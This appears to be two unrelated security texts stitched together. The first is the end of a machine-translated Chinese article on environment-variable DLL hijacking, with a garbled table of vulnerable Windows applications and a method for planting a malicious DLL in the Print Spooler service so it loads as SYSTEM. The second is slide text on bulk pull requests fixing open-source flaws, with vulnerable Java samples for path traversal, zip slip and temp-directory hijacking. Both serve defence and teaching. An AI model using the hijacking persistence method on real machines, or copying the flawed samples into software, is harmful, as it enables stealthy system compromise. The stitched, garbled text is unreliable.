\system32\ntmarta.dll %SYSTE MROO T% \system32\propsys.dll %SYSTE MROO T% \system32\windows.storage. dll %SYSTE MROO T% Microsoft Edge 90 C:\Program Files (x86)\Microsoft \Edge\Application\msedge.exe \system3 2\dataex change.d ll %SYSTE MROO T% \system32\fastprox.dll %SYSTE MROO T% \system32\msctf.dll %SYSTE MROO T% \system32\mswsock.dll %SYSTE MROO T% \system32\ntmarta.dll 环境变量 应⽤ 可执⾏⽂件 DLL(相 对于变 量) %SYSTE MROO T% \system32\propsys.dll %SYSTE MROO T% \system32\shcore.dll %SYSTE MROO T% \system32\srumapi.dll %SYSTE MROO T% \system32\wbemprox.dll %SYSTE MROO T% \system32\wbemsvc.dll %SYSTE MROO T% \system32\windows.storage. dll %SYSTE MROO T% \system32\windowsudk.shell common.dll %SYSTE MROO T% \system32\XmlLite.dll %SYSTE MROO T% Microsoft Office 2021 C:\Program Files (x86)\Microsoft Office\root\Office16\excel.exe \system3 2\direct manipul ation.dll %SYSTE MROO T% \system32\msctf.dll %SYSTE MROO T% \system32\mswsock.dll 环境变量 应⽤ 可执⾏⽂件 DLL(相 对于变 量) %SYSTE MROO T% \system32\netprofm.dll %SYSTE MROO T% \system32\npmproxy.dll %SYSTE MROO T% \system32\rsaenh.dll %SYSTE MROO T% \system32\twinapi.dll %SYSTE MROO T% \system32\windows.storage. dll %SYSTE MROO T% \system32\windowscodecs.d ll %SYSTE MROO T% C:\Program Files (x86)\Micro soft Office\root\Office16\out look.exe \system32\msctf.dll %SYSTE MROO T% \system32\mswsock.dll %SYSTE MROO T% \system32\netprofm.dll %SYSTE MROO T% \system32\npmproxy.dll %SYSTE MROO T% \system32\rsaenh.dll 环境变量 应⽤ 可执⾏⽂件 DLL(相 对于变 量) %SYSTE MROO T% \system32\windows.storage. dll %SYSTE MROO T% \system32\windowscodecs.d ll %SYSTE MROO T% C:\Program Files (x86)\Micro soft Office\root\Office16\po werpnt.exe \system32\dataexchange.dll %SYSTE MROO T% \system32\msctf.dll %SYSTE MROO T% \system32\mswsock.dll %SYSTE MROO T% \system32\netprofm.dll %SYSTE MROO T% \system32\npmproxy.dll %SYSTE MROO T% \system32\propsys.dll %SYSTE MROO T% \system32\rsaenh.dll %SYSTE MROO T% \system32\twinapi.dll %SYSTE MROO T% \system32\windows.storage. dll 环境变量 应⽤ 可执⾏⽂件 DLL(相 对于变 量) %SYSTE MROO T% \system32\windowscodecs.d ll %SYSTE MROO T% C:\Program Files (x86)\Micro soft Office\root\Office16\wi nword.exe \system32\explorerframe.dll %SYSTE MROO T% \system32\msctf.dll %SYSTE MROO T% \system32\mswsock.dll %SYSTE MROO T% \system32\netprofm.dll %SYSTE MROO T% \system32\npmproxy.dll %SYSTE MROO T% \system32\propsys.dll %SYSTE MROO T% \system32\rsaenh.dll %SYSTE MROO T% \system32\twinapi.dll %SYSTE MROO T% \system32\windows.storage. dll %SYSTE MROO T% \system32\windowscodecs.d ll 环境变量 应⽤ 可执⾏⽂件 DLL(相 对于变 量) %SYSTE MROO T% Microsoft Teams (built-in) C:\Program Files\WindowsApps \MicrosoftTeams_21253.510.996. 1465_x64__8wekyb3d8bbwe\mst eams.exe \system3 2\mswso ck.dll %SYSTE MROO T% \system32\netprofm.dll %SYSTE MROO T% \system32\propsys.dll %SYSTE MROO T% \system32\twinui.dll %SYSTE MROO T% \system32\windows.storage. dll %SYSTE MROO T% C:\Program Files (x86)\Micro soft\EdgeWebView\Applicati on\90.0.818.66\msedgeweb view2.exe \system32\dataexchange.dll %SYSTE MROO T% \system32\msctf.dll %SYSTE MROO T% \system32\mswsock.dll %SYSTE MROO T% \system32\ntmarta.dll %SYSTE MROO T% Mozilla Firefox 100 C:\Program Files\Mozilla Firefox \firefox.exe \system3 2\dataex change.d ll 环境变量 应⽤ 可执⾏⽂件 DLL(相 对于变 量) %SYSTE MROO T% \system32\explorerframe.dll %SYSTE MROO T% \system32\mswsock.dll %SYSTE MROO T% \system32\netprofm.dll %SYSTE MROO T% \system32\propsys.dll %SYSTE MROO T% \system32\rsaenh.dll %SYSTE MROO T% \system32\windows.storage. dll %SYSTE MROO T% \system32\winrnr.dll %SYSTE MROO T% Zoom 5.9.3 C:\Users%username%\AppData \Roaming\Zoom\bin\Zoom.exe \system3 2\mswso ck.dll %SYSTE MROO T% \system32\propsys.dll %SYSTE MROO T% \system32\rsaenh.dll %SYSTE MROO T% \system32\windows.storage. dll 上述列表并⾮详尽⽆遗;许多其他软件解决⽅案和可执⾏⽂件可能已经过测试,和/或在不同 的情况下(例如,使⽤某些命令⾏参数、提升权限等)。上⾯列出的最重要的⼀点是,这种新 型的 DLL 劫持通常存在于受信任的可执⾏⽂件中,这意味着检测个别情况不会扩展。 对特权升级和持久性的影响 考虑到所有这些,值得探索这种类型的 DLL 劫持是否以及如何与普通执⾏之外的策略结合使 ⽤。这种⽅法的⼀个关键⽅⾯是,易受攻击的可执⾏⽂件必须以与平常略有不同的⽅式启动, 因为需要更新进程级环境变量。这就是使⽤它创建适当持久性的原因:传统的持久性机制,例 如⾃动启动注册表项和启动⽂件夹中的 .LNK ⽂件,不提供指定执⾏⽬标命令时应设置的环境 变量的⽅法。当然,仍然可以使⽤设置环境变量然后运⾏易受攻击的程序的“中间命令”,类似 于运⾏之前讨论的 VBScript 或 PowerShell 脚本, 但是,存在允许设置环境变量的持久性机制。⼀个例⼦是 Windows 服务:很少使⽤的注册表 值 Environment 可⽤于为服务的⽬标可执⾏⽂件(在 中指定 ImagePath )设置进程级环境 变量。如果⽬标可执⾏⽂件容易受到基于环境变量的 DLL 劫持的攻击,则可以以持久的⽅式 利⽤它。 例如,请考虑 C:\Windows\System32\spoolsv.exe 在启动时执⾏的 Printer Spooler 服务。 将 Environment 值设置为使⽤不同的路径覆盖 SYSTEMROOT ,然后重新启动服务或(因为默 认启⽤打印机后台处理程序)重新启动机器,将导致 spoolsv.exe 使⽤操纵的路径。因为 sp oolsv.exe 试图加载 %SYSTEMROOT%\System32\mswsock.dll ,它现在会被欺骗加载恶意版 本的 mswsock.dll . 事实上,由于服务在SYSTEM⽤户下运⾏,DLL 将在该上下⽂中执⾏。 在打印机 Spooler 服务中成功劫持 mswsock.dll 的 DLL 演示,将恶意版本的 DLL 加载为 SYSTEM。 由于更改服务注册表项需要管理权限,因此这不会导致“适当的”权限提升。毕竟,如果有⼈⽆ 论如何都提升了权限,他们也可以更改 ImagePath 值并以这种⽅式提升到SYSTEM。然⽽,改 变 ImagePath 更有可能被防御机制检测到,⽽添加⼀个 Environment 价值可能会被忽视。此 外,由于执⾏依赖于合法的服务可执⾏⽂件,因此以这种⽅式执⾏代码⽐运⾏恶意可执⾏⽂件 或恶意 PowerShell 命令要隐蔽得多。此外,如果 DLL Hijacking 执⾏得当,服务将继续按预 期⼯作,⽽更改服务的命令可能会导致功能缺失,从⽽导致系统不稳定。 使⽤这种类型的 DLL 劫持获得“适当的”权限提升甚⾄只是绕过⽤户帐户控制 (UAC) 是⼀项挑 战。如前所述,在⼤多数情况下,新⽣成的进程从⽗进程获取它们的环境变量。有⼀个例外: 当⼀个低完整性进程启动⼀个⾼完整性进程时,⾼完整性进程的环境变量被“重置”为系统级环 境变量。因此,如果⼀个新进程导致 UAC 被调⽤,那么新进程将被提供系统级别指定的环境 变量,⽽不管⽗进程本身已设置或在创建新进程时提供了哪些环境变量。Microsoft 可能做出 此设计决定是为了通过环境变量限制权限提升机会的范围(例如 %PATH% 拦截 [ 11 ]); 不得不 说,在这种情况下,它这样做是相当成功的。尽管有记录的应⽤程序覆盖此⾏为的案例 [ 12 ],但这些案例似乎很少⻅。 预防和检测 与每种类型的 DLL 劫持⼀样,完全防⽌这种情况发⽣的最佳⽅法是让应⽤程序始终使⽤绝对 且明确(即完全解析)的路径。有各种可⽤的 Windows API 调⽤,完全消除了依赖环境变量 获取路径的需要;例如,函数 GetWindowsDirectory [ 13 ] 是 SYSTEMROOT 变量的替代品。 更好的做法是在将 DLL 加载到内存之前始终验证它们的有效性。 具体到环境变量:正如⼀开始提到的,随着Windows Registry的引⼊,Windows中已经没有明 显需要环境变量的概念了。系统设置类参数,如静态路径、⽤户名等,可以在Registry中设 置,也可以通过API调⽤获取;进程类型参数可以在命令⾏上设置。因此,向后兼容性可能是 我们在 Windows 中仍然有环境变量的原因。 从检测的⻆度来看,可以做的⼀些显⽽易⻅的事情是检查 DLL 是否从意外位置加载。例如, 位于其中的可执⾏⽂件 C:\Windows\System32 不太可能从“temp”或 AppData ⽂件夹加载 DLL - 因此从这些位置加载的 DLL 值得仔细研究。然⽽,System32 ⽂件夹之外的应⽤程序可 能会从此类⽂件夹(例如 Microsoft Teams 和 Slack)合法地加载 DLL,因此很难将其转变为 通⽤规则。 寻找具有已知由易受攻击的应⽤程序加载的名称的 DLL ⽂件的创建是⼀种效果不佳的⽅法 [ 14 ]。⼀种相关但稍微可⾏的⽅法是在意外位置寻找某些⽂件夹结构的创建。例如,⼏乎所有 劫持⽅法都依赖 %SYSTEMROOT% 或 %WINDIR% 需要 System32 在⽤户可写位置创建⼀个⽂件 夹。⼀般来说,这应该很少⻅——尽管⼀些合法软件似乎也在这样做,但在排除此类情况后, 这可能是⼀种检测最明显形式的基于环境变量的 DLL 劫持的简单⽅法。 话虽如此,如果易受攻击的可执⾏⽂件使⽤另⼀个环境变量,上述⽅法也可能不起作⽤。因 此,重要的是不要只关注检测 DLL 劫持本身,⽽更关注随后的活动。检测对于执⾏它的进程 来说很少⻅的活动,是⼀天结束时出现问题的最佳指标。因此,虽然您的防御系统可能⽆法检 测到所有内容,但它检测到的越多,攻击者就越难以完全被忽视。 这项研究⾸次在 DEF CON 30 上提出;[你可以在这⾥] (https://www.wietzebeukema.nl/literature/Beukema, WJB - Save The Environment (Variable).pdf)找到幻灯⽚。 1. 从技术上讲,还有⼀种记录不⾜的第四种类型,VOLATILE。这与 USER 级别的环境变量相 同,但在⽤户注销后会重置。↩ 2. 作为旁注,不幸的是,基于环境变量的 DLL 劫持⽬前不能很好地映射到 MITRE ATT&CK [ 7 ]。由于我之前的 DLL Hijacking 博客⽂章中提到的这个和其他原因,我已经提交了⼀个 提案 [ [8](https://www.wietzebeukema.nl/literature/Beukema, WJB - A Single Sub- Technique for DLL Hijacking.pdf) ],我希望 MITRE 在开发框架的下⼀个版本时能够考虑到 该提案。[↩] 译⽂申明 ⽂章来源为 近期阅读⽂章 ,质量尚可的,⼤部分较新,但也可能有⽼⽂章。 开卷有益,不求甚解 ,不需⾯⾯俱到,能学到⼀个⼩技巧就赚了。 译⽂仅供参考 ,具体内容表达以及含义,  以原⽂为准  (译⽂来⾃⾃动翻译) 如英⽂不错的, 尽量阅读原⽂ 。(点击原⽂跳转) 每⽇早读 基本⾃动化发布(不定期删除),这是 ⼀项测试 最新动态: Follow Me 微信/微博: red4blue 公众号/知乎: blueteams 收录于合集 #红队 18 阅读原⽂ 喜欢此内容的⼈还喜欢 收录于合集 #红队 18 下⼀篇 · 译⽂ | 使⽤ .NET 动态 PINVOKE 执⾏⾮托管代码 Sublert ⾃动监控⽬标⼦域⼯具 菜⻦⼩新 Web3系列教程之⾼级篇---9:检测看似合法但实际上是恶意的合约 李留⽩ android中webview的安全攻防 编码安全
pdf
Information Classification: General Scaling the Security Researcher to Eliminate OSS Vulnerabilities Once and for All - Jonathan Leitschuh - - Patrick Way - Information Classification: General - Jonathan Leitschuh - Software Engineer & Security Researcher Dan Kaminsky Fellowship @ HUMAN Security GitHub Star & GitHub Security Ambassador Twitter: @JLLeitschuh GitHub: JLLeitschuh 🐳 Hello! Information Classification: General - Patrick Way - Senior Software Engineer OpenRewrite Team @ Moderne Twitter: @WayPatrick GitHub: pway99 Hello! Information Classification: General Disclaimer Information Classification: General Supported by The Dan Kaminsky Fellowship at HUMAN Security Information Classification: General Chester Higgins/The New York Times Information Classification: General It Started With a Simple Vulnerability Information Classification: General HTTP Download of Dependencies in the Java Ecosystem // build.gradle maven { setUrl("http://dl.bintray.com/kotlin/ktor") } Information Classification: General Why is HTTPS important? 9 Information Classification: General HTTP Download of Dependencies in the Java Ecosystem <!-- Compiler & Test Dependencies --> <repositories> <repository> <id>example-id</id> <name>Example insecure repository</name> <url>http://[SOME URL HERE]</url> </repository> </repositories> Information Classification: General HTTP Download of Dependencies in the Java Ecosystem <!-- Artifact upload - Credentials!! --> <distributionManagement> <repository> <id>example-id</id> <name>Example insecure repository</name> <url>http://[SOME URL HERE]</url> </repository> </distributionManagement> Information Classification: General This Vulnerability was Everywhere! Information Classification: General 13 Information Classification: General Who else was vulnerable? Information Classification: General “25% of Sonatype Maven Central downloads are still using HTTP” - Sonatype June 2019 - Information Classification: General How do we fix this? Information Classification: General Decommissioning HTTP Support On or around January 15th, 2020 ● Maven Central (Sonatype) ● JCenter (JFrog) ● Spring (Pivotal) ● Gradle Plugin Portal (Gradle) Information Classification: General “20% of Sonatype Maven Central Traffic is STILL using HTTP” - Sonatype January 2020 - Information Classification: General You can imagine what happened... January 15th, 2020 Information Classification: General Information Classification: General We stopped the bleeding Information Classification: General What about the other repositories? Information Classification: General Only the most commonly used repositories ● Maven Central (Sonatype) ● JCenter (JFrog) ● Spring (Pivotal) ● Gradle Plugin Portal (Gradle) Information Classification: General How do we fix the rest? Information Classification: General Bulk Pull Request Generation! Information Classification: General How? Information Classification: General import java import semmle.code.xml.MavenPom private class DeclaredRepository extends PomElement { DeclaredRepository() { this.getName() = "repository" or this.getName() = "snapshotRepository" or this.getName() = "pluginRepository" } string getUrl() { result = getAChild("url").(PomElement).getValue() } predicate isInsecureRepositoryUsage() { getUrl().matches("http://%") or getUrl().matches("ftp://%") } } from DeclaredRepository repository where repository.isInsecureRepositoryUsage() select repository, "Downloading or uploading artifacts over insecure protocol (eg. http or ftp) to/from repository " + CodeQL repository.getUrl() Information Classification: General CodeQL scans 100Ks of OSS Projects Information Classification: General import java import semmle.code.xml.MavenPom private class DeclaredRepository extends PomElement { DeclaredRepository() { this.getName() = "repository" or this.getName() = "snapshotRepository" or this.getName() = "pluginRepository" } string getUrl() { result = getAChild("url").(PomElement).getValue() } predicate isInsecureRepositoryUsage() { getUrl().matches("http://%") or getUrl().matches("ftp://%") } } from DeclaredRepository repository where repository.isInsecureRepositoryUsage() select repository, "Downloading or uploading artifacts over insecure protocol (eg. http or ftp) to/from repository " + repository.getUrl() CodeQL $2,300 Bounty Information Classification: General Pull Request Generator Version 1 ● Python Based ● Wrapper over ‘hub’ CLI ● One Nasty Regular Expression ● Bouncing off GitHub’s rate limiter Information Classification: General Information Classification: General Information Classification: General Information Classification: General It worked! Information Classification: General Information Classification: General Information Classification: General HTTP Download of Dependencies 1,596 Pull Requests ~40% Merged or Accepted Information Classification: General $4,000 Thanks to the GitHub Security Lab! Information Classification: General I got hooked on Bulk Pull Request Generation Information Classification: General Information Classification: General I have a Problem Information Classification: General Information Classification: General I was finding too many security vulnerabilities! Information Classification: General Information Classification: General I was finding too many security vulnerabilities! Information Classification: General I was finding too many security vulnerabilities! I needed automation! Information Classification: General Automated Accurate Transformations at a Massive Scale Information Classification: General OpenRewrite Information Classification: General Abstract Syntax Tree (AST) Information Classification: General Abstract Syntax Tree (AST) Information Classification: General Format Preserving AST Whitespace and comments are preserved Information Classification: General Tabs Spaces Braces on new line Generated code matches the Surrounding Formatting Information Classification: General log.info("..."); Is that log4j, slf4j, LogBack? Accurate Transformations Require Fully Type-attributed ASTs Information Classification: General The OpenRewrite AST is both Syntactically and Semantically aware. With type attribution and formatting Syntax alone Information Classification: General Even simple code produces complex AST Information Classification: General Information Classification: General Information Classification: General Information Classification: General Information Classification: General What is possible now? Information Classification: General What other vulnerabilities can we fix? Information Classification: General Three Vulnerabilities 1. Temporary Directory Hijacking 2. Partial Path Traversal 3. Zip Slip Information Classification: General Vulnerability #1 Temporary Directory Hijacking Information Classification: General Temporary Directory on Unix-Like Systems is Shared between All Users Information Classification: General Temporary Directory Hijacking - Vulnerable File f = File.createTempFile( "prefix", "suffix" ); f.delete(); f.mkdir(); Information Classification: General Information Classification: General Temporary Directory Hijacking - Vulnerable File f = File.createTempFile( "prefix", "suffix" ); f.delete(); f.mkdir(); Information Classification: General Temporary Directory Hijacking - Vulnerable File f = File.createTempFile( "prefix", "suffix" ); f.delete(); // 🏁 Race condition f.mkdir(); // Returns `false` Information Classification: General Temporary Directory Hijacking - Imperfect Fix File f = File.createTempFile( "prefix", "suffix" ); f.delete(); if(!f.mkdir()) throw new IOException("Error"); Information Classification: General Temporary Directory Hijacking - Fix // Since Java 1.7 File f = Files .createTempDirectory("prefix") .toFile(); Information Classification: General Temporary Directory Hijacking - CVEs ● CVE-2022-27772 - Spring Boot ● CVE-2021-20202 - Keycloak ● CVE-2021-21331 - DataDog API ● CVE-2020-27216 - Eclipse Jetty ● CVE-2020-17521 - Apache Groovy ● CVE-2020-17534 - Apache netbeans-html4j Information Classification: General Temporary Directory Hijacking Pull Request Statistics Information Classification: General Temporary Directory Hijacking 64 Pull Requests! Information Classification: General Temporary Directory Hijacking - Pull Requests Information Classification: General Temporary Directory Hijacking - Putting it all together Information Classification: General Temporary Directory Hijacking - Putting it all together Information Classification: General Vulnerability #2 Partial Path Traversal Information Classification: General "/user/sam" Partial Path Traversal Information Classification: General "/user/sam" "/user/samantha" Partial Path Traversal Information Classification: General Allows an attacker access to a sibling directory with the same prefix Partial Path Traversal Information Classification: General Allows an attacker access to a sibling directory with the same prefix "/user/sam" Partial Path Traversal Information Classification: General Allows an attacker access to a sibling directory with the same prefix "/user/sam" "/user/samantha" Partial Path Traversal Information Classification: General Allows an attacker access to a sibling directory with the same prefix "/user/sam" "/user/samantha" Partial Path Traversal Information Classification: General Partial Path Traversal - Vulnerability File parent = parent(); File dir = new File(parent, userControlled()); if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { throw new IOException( "Detected path traversal attack!" ); } Information Classification: General new File("/user/sam/") Information Classification: General new File("/user/sam/") File.getCanonicalPath() Information Classification: General new File("/user/sam/") File.getCanonicalPath() "/user/sam" Information Classification: General new File("/user/sam/") File.getCanonicalPath() "/user/sam" Information Classification: General Partial Path Traversal - Vulnerability File parent = parent(); File dir = new File(parent, userControlled()); if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { throw new IOException( "Detected path traversal attack!" ); } Information Classification: General Partial Path Traversal - Vulnerability File dir = new File(parent, userControlled()); if (!dir.getCanonicalPath() .startsWith("/user/sam")) { ... } Information Classification: General Partial Path Traversal - Vulnerability File parent = parent(); File dir = new File(parent, userControlled()); if (!dir.getCanonicalPath() .startsWith("/user/sam")) { ... } Information Classification: General Partial Path Traversal - Vulnerability File dir = new File(parent, "../samantha/baz"); if (!dir.getCanonicalPath() .startsWith("/user/sam")) { ... } Information Classification: General Partial Path Traversal - Vulnerability File dir = new File(parent, "../samantha/baz"); if (!"/user/samantha/baz" .startsWith("/user/sam")) { ... } Information Classification: General Partial Path Traversal - Vulnerability File dir = new File(parent, "../samantha/baz"); if (!"/user/samantha/baz" .startsWith("/user/sam")) { throw new IOException( "Detected path traversal attack!" ); } ❌ Information Classification: General Partial Path Traversal - Vulnerability File parent = parent(); File dir = new File(parent, userControlled()); if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { throw new IOException( "Detected path traversal attack!" ); } Information Classification: General Partial Path Traversal Fix! Information Classification: General Partial Path Traversal - Vulnerability File parent = parent(); File dir = new File(parent, userControlled()); if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { throw new IOException( "Detected path traversal attack!" ); } Information Classification: General Partial Path Traversal - Vulnerability if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { ... } Information Classification: General Partial Path Traversal - Fix #1 if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath() + File.separatorChar)) { ... } Information Classification: General Partial Path Traversal - Fix #2 if (!dir.getCanonicalFile() .toPath().startsWith( parent.getCanonicalFile().toPath())) { ... } Information Classification: General Partial Path Traversal - Fix #2 - Better if (!dir.getCanonicalFile() .toPath().startsWith( parent.getCanonicalFile().toPath())) { ... } ✅ Information Classification: General How do we find this vulnerability? Information Classification: General Partial Path Traversal - Vulnerability File parent = parent(); File dir = new File(parent, userControlled()); if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { throw new IOException( "Detected path traversal attack!" ); } Information Classification: General Partial Path Traversal - Vulnerability if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { ... } Information Classification: General Partial Path Traversal - Vulnerability if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { ... } Information Classification: General Partial Path Traversal - Safe if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath() + File.separatorChar)) { ... } Information Classification: General It can’t be that easy, can it? Information Classification: General Partial Path Traversal - Vulnerability if (!dir.getCanonicalPath() .startsWith(parent.getCanonicalPath())) { ... } Information Classification: General Partial Path Traversal - Vulnerability String dirCanonical = dir.getCanonicalPath(); if (!dirCanonical .startsWith(parent.getCanonicalPath())) { ... } Information Classification: General Partial Path Traversal - Vulnerability String dirCanonical = dir.getCanonicalPath(); String pCanonical = parent.getCanonicalPath() + File.separatorChar; if (!dirCanonical .startsWith(pCanonical)) { ... } Information Classification: General We need Data Flow Analysis Information Classification: General Partial Path Traversal - DataFlow String dirCanonical = dir.getCanonicalPath(); String pCanonical = parent.getCanonicalPath() + File.separatorChar; if (!dirCanonical .startsWith(pCanonical)) { ... } Information Classification: General Partial Path Traversal - Data Flow String dirCanonical = dir.getCanonicalPath(); String pCanonical = parent.getCanonicalPath() + File.separatorChar; if (!dirCanonical .startsWith(pCanonical)) { ... } Information Classification: General Partial Path Traversal - Data Flow String dirCanonical = dir.getCanonicalPath(); String pCanonical = parent.getCanonicalPath() + File.separatorChar; if (!dirCanonical .startsWith(pCanonical)) { ... } Information Classification: General Partial Path Traversal - Data Flow String dirCanonical = dir.getCanonicalPath(); String pCanonical = parent.getCanonicalPath() + File.separatorChar; if (!dirCanonical .startsWith(pCanonical)) { ... } Information Classification: General Partial Path Traversal - Data Flow String dirCanonical = dir.getCanonicalPath(); String pCanonical = parent.getCanonicalPath() + File.separatorChar; String pCanonical2 = pCanonical; if (!dirCanonical .startsWith(pCanonical2)) { ... } Information Classification: General Data Flow Uncovers hard to find Vulnerabilities and prevents False Positives Information Classification: General Data Flow Analysis class GetCanonicalPathToStartsWithLocalFlow extends LocalFlowSpec<J.MethodInvocation, Expression> { @Override public boolean isSource(J.MethodInvocation methodInvocation, Cursor cursor) { return new MethodMatcher("java.io.File getCanonicalPath()") .matches(methodInvocation); } @Override public boolean isSink(Expression expression, Cursor cursor) { return InvocationMatcher .fromMethodMatcher( new MethodMatcher( "java.lang.String startsWith(java.lang.String)" ) ) .advanced() .isSelect(cursor); } } Information Classification: General Partial Path Traversal - Putting it all together Information Classification: General Example Case: AWS Java SDK CVE-2022-31159 Information Classification: General Information Classification: General Information Classification: General Vulnerability #3 Zip Slip Information Classification: General Zip Slip void zipSlip(File destination, ZipFile zip) { Enumeration<? extends ZipEntry> entries = zip.entries(); while (entries.hasMoreElements()) { ZipEntry e = entries.nextElement(); File f = new File(destination, e.getName()); IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); } } Information Classification: General Zip Slip ZipEntry e = entries.nextElement(); File f = new File(destination, e.getName()); IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); Information Classification: General Zip Slip ZipEntry e = entries.nextElement(); File f = new File(destination, e.getName()); IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); Information Classification: General Zip Slip is Complicated Information Classification: General Zip Slip File f = new File(destination, e.getName()); IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); Information Classification: General Zip Slip File f = new File(destination, e.getName()); if (!f.toPath().startsWith(destination.toPath())) { throw new IOException("Bad Zip Entry!"); } IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); Information Classification: General The Problem with Zip Slip Information Classification: General Zip Slip File f = new File(destination, e.getName()); if (!f.toPath().startsWith(destination.toPath())) { throw new IOException("Bad Zip Entry!"); } IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); Information Classification: General Zip Slip File f = new File(destination, e.getName()); if (f.toPath().startsWith(destination.toPath())) { IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); } Information Classification: General Control Flow Analysis Information Classification: General Control Flow Analysis File f = new File(destination, e.getName()); IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); File f = new File(destination, e.getName()); if (!f.toPath().startsWith(destination.toPath())){ throw new IOException("Bad Zip Entry!"); } IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); Information Classification: General Control Flow - OpenRewrite Information Classification: General Zip Slip File f = new File(destination, e.getName()); if (!f.toPath().startsWith(destination.toPath())) { throw new IOException("Bad Zip Entry!"); } IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); Information Classification: General Zip Slip File f = new File(destination, e.getName()); if (!f.toPath().startsWith(destination.toPath())) { throw new IOException("Bad Zip Entry!"); } IOUtils.copy( zip.getInputStream(e), new FileOutputStream(f) ); Information Classification: General Zip Slip - Putting it all together Information Classification: General Zip Slip - Putting it all together Information Classification: General Pull Request Generation! Information Classification: General Information Classification: General Problems with Pull Request Generation Information Classification: General How fast can we generate Pull Requests? Information Classification: General Pull Request Generation Steps File IO Git Operation GitHub API . Information Classification: General Pull Request Generation Steps 1. Checkout (ie. Download) code Repository File IO Git Operation GitHub API . Information Classification: General Pull Request Generation Steps 1. Checkout (ie. Download) code Repository 2. Branch, Apply Diff, & Commit File IO Git Operation GitHub API . Information Classification: General Pull Request Generation Steps 1. Checkout (ie. Download) code Repository 2. Branch, Apply Diff, & Commit 3. Fork Repository on GitHub File IO Git Operation GitHub API . Information Classification: General Pull Request Generation Steps 1. Checkout (ie. Download) code Repository 2. Branch, Apply Diff, & Commit 3. Fork Repository on GitHub 4. Rename Repository on GitHub File IO Git Operation GitHub API . Information Classification: General Pull Request Generation Steps 1. Checkout (ie. Download) code Repository 2. Branch, Apply Diff, & Commit 3. Fork Repository on GitHub 4. Rename Repository on GitHub 5. Push changes File IO Git Operation GitHub API . Information Classification: General Pull Request Generation Steps 1. Checkout (ie. Download) code Repository 2. Branch, Apply Diff, & Commit 3. Fork Repository on GitHub 4. Rename Repository on GitHub 5. Push changes 6. Create Pull Request on GitHub File IO Git Operation GitHub API . Information Classification: General Pull Request Generation Steps 1. Checkout (ie. Download) code Repository 2. Branch, Apply Diff, & Commit 3. Fork Repository on GitHub 4. Rename Repository on GitHub 5. Push changes 6. Create Pull Request on GitHub File IO Git Operation GitHub API . Information Classification: General Pull Request Generation Steps 1. Checkout (ie. Download) code Repository 2. Branch, Apply Diff, & Commit 3. Fork Repository on GitHub 4. Rename Repository on GitHub 5. Push changes 6. Create Pull Request on GitHub File IO Git Operation GitHub API . Information Classification: General Information Classification: General We’ve made it this far ✅ Vulnerabilities Detected ✅ Style Detected ✅ Code Fixed & Diff Generated ✅ Rate Limit Bypassed Information Classification: General We’ve made it this far ✅ Vulnerabilities Detected ✅ Style Detected ✅ Code Fixed & Diff Generated ✅ Rate Limit Bypassed How do we do this for all the repositories? Information Classification: General Moderne ● Free for Open Source Projects! ● ~7,000 Repositories indexed ● Run Open Rewrite Transformations at Scale ● Generates and Update Pull Requests Information Classification: General 800+ OpenRewrite Recipes including complete Framework Migrations Information Classification: General Bulk Pull Request Generation - public.moderne.io Information Classification: General Information Classification: General Information Classification: General But there are more than just 7,000 repositories in the world How do we find the other vulnerable projects? Information Classification: General CodeQL Information Classification: General CodeQL 100k+ OSS Projects Indexed 35k+ OSS Java Projects Information Classification: General https://github.com/moderneinc/jenkins-ingest Information Classification: General Finally! Let’s generate some Open Source Software Pull Requests! Information Classification: General Bulk Pull Request Generation Statistics Project PR Generator Pull Requests Merge Rate HTTP Download of Dependencies Python Bot 1,596 40% CVE-2019-16303: JHipster RNG Vulnerability Python Bot + Moderne 3,467 2.3% CVE-2020-8597: rhostname array overflow Python Bot 1,885 7.6% Temporary Directory Hijacking Moderne 64 TBD Partial Path Traversal Moderne 24 TBD Zip Slip Moderne 86 TBD Information Classification: General Bulk Pull Request Generation Statistics Project PR Generator Pull Requests Merge Rate HTTP Download of Dependencies Python Bot 1,596 40% CVE-2019-16303: JHipster RNG Vulnerability Python Bot + Moderne 3,467 2.3% CVE-2020-8597: rhostname array overflow Python Bot 1,885 7.6% Temporary Directory Hijacking Moderne 64 TBD Partial Path Traversal Moderne 24 TBD Zip Slip Moderne 86 TBD New Pull Requests Generated in 2022: 570+ Information Classification: General Bulk Pull Request Generation Statistics Project PR Generator Pull Requests Merge Rate HTTP Download of Dependencies Python Bot 1,596 40% CVE-2019-16303: JHipster RNG Vulnerability Python Bot + Moderne 3,467 2.3% CVE-2020-8597: rhostname array overflow Python Bot 1,885 7.6% Temporary Directory Hijacking Moderne 64 TBD Partial Path Traversal Moderne 24 TBD Zip Slip Moderne 86 TBD Personally Generated: 5,200+ Pull Requests Information Classification: General Information Classification: General Information Classification: General Best Practices for Bulk Pull Request Generation Information Classification: General Messaging! Information Classification: General All Software Problems are People Problems In Disguise Information Classification: General Lesson 1 Sign off all Commits --signoff Information Classification: General Sign off on Commits Signed-off-by: Jonathan Leitschuh <[email protected]> Information Classification: General Sign off on Commits Why?! Information Classification: General Sign off on Commits “It was introduced in the wake of the SCO lawsuit, (and other accusations of copyright infringement from SCO, most of which they never actually took to court), as a Developers Certificate of Origin. It is used to say that you certify that you have created the patch in question, or that you certify that to the best of your knowledge, it was created under an appropriate open-source license, or that it has been provided to you by someone else under those terms.” - Stack Overflow Information Classification: General TL;DR Information Classification: General Lawyers Information Classification: General Information Classification: General Lesson 2 Be a good commitizen 